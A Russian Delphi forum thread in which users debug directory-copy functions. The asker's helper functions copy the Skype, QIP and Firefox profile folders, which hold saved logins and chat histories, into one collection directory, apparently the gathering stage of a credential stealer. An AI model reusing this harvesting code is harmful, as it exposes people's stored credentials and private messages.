Виндус копирование

[jone]

я пользуюсь вотакой вот функцией

procedure FileSystemAction(action:longint;fromDir,toDir:string);
var SHFileOp:TSHFileOpStruct;
begin

SHFileOp.wFunc :=action;
SHFileOp.pFrom :=Pchar(fromDir +#0+#0);
SHFileOp.pTo :=Pchar(toDir +#0+#0);
SHFileOp.fFlags:=    FOF_NOCONFIRMMKDIR       ;
SHFileOp.fAnyOperationsAborted:=false;
SHFileOp.hNameMappings :=NIL;
SHFileOp.lpszProgressTitle :=NIL;
SHFileOperation(SHFileOp);
end;

Но этот код багует копирует не всё
вот к примеру

FileSystemAction(FO_COPY,'C:\Docume nts and Settings'+GetCurrentUserName+'\Skyp e\*.*', 'c:\sk\');

как исправить? или поделитесь другой функцией копирования, спасибки

[Kotofff]

Но этот код багует копирует не всё

Может просто эти файлы заняты ? Поэтому этот код и не копирует их.

P.S.
Интересует копирование именно директорий полностью ?

uses SysUtils, FileCtrl, Windows;
...
...
function FullDirectoryCopy(SourceDir, TargetDir: string; StopIfNotAllCopied,
  OverWriteFiles: Boolean): Boolean;
var
  SR: TSearchRec;
  I: Integer;
begin
  Result := False;
  SourceDir := IncludeTrailingBackslash(SourceDir);
  TargetDir := IncludeTrailingBackslash(TargetDir);
  if not DirectoryExists(SourceDir) then Exit;// если нет исходной папки - выход
  if not ForceDirectories(TargetDir) then Exit;// если не можем создать папку назначения - выход
  I := FindFirst(SourceDir + '*', faAnyFile, SR);
  try
    while I = 0 do
    begin
      if (SR.Name <> '') and (SR.Name <> '.') and (SR.Name <> '..') then
      begin
        if SR.Attr = faDirectory then
          Result := FullDirectoryCopy(SourceDir + SR.Name, TargetDir + SR.NAME, StopIfNotAllCopied, OverWriteFiles)
        else if not (not OverWriteFiles and FileExists(TargetDir + SR.Name))
          then Result := CopyFile(Pchar(SourceDir + SR.Name), Pchar(TargetDir + SR.Name), False)
          else Result := True;
        if not Result and StopIfNotAllCopied then  exit;
      end;
      I := FindNext(SR);
    end;
  finally
    SysUtils.FindClose(SR);
  end;
end;

[jone]

нет файлы не используются полностью свабодны.
а копирование нужно 2 в 1 --- '\Skype\' либо '\Skype\*.*' или '\Skype\*.exe'
Хелп плиззз

[Stilet]

jone

А у меня нормательно отработало.

[Lime]

Сообщение от jone

FileSystemAction(FO_COPY,'C:\Docume nts and Settings'+GetCurrentUserName+'\Skyp e\*.*', 'c:\sk\');

Возможно "\" слеша не хватает? Между юзером и документами ..

[jone]

function Skype (const dirr:string) :string;
begin
 if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Skype')=true then
 FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Skype\', dirr+'\sk\');
end;

вот моя функция она не робит папка есть всё есть делю всё со слешами
все остальные такие функции пашут на ура
вот к примеру

function qip (const dirr:string) :string;
begin
if DirectoryExists('C:\Program Files\QIP\Users')=true then   FileSystemAction(FO_COPY,'C:\Program Files\QIP\Users',dirr+'\qip\');
end;

function mazila (const dirr:string) :string;
begin
if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Application Data\Mozilla\Firefox\Profiles\')=true then FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Application Data\Mozilla\Firefox\*.*',dirr+'\mazila\');
end;

Ошибку нашёл она была в неправельном пути невнимателен)

function Skype (const dirr:string) :string;
begin
 if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Application Data\Skype')=true then
 FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Application Data\Skype\*.*', dirr+'\sk\');
end;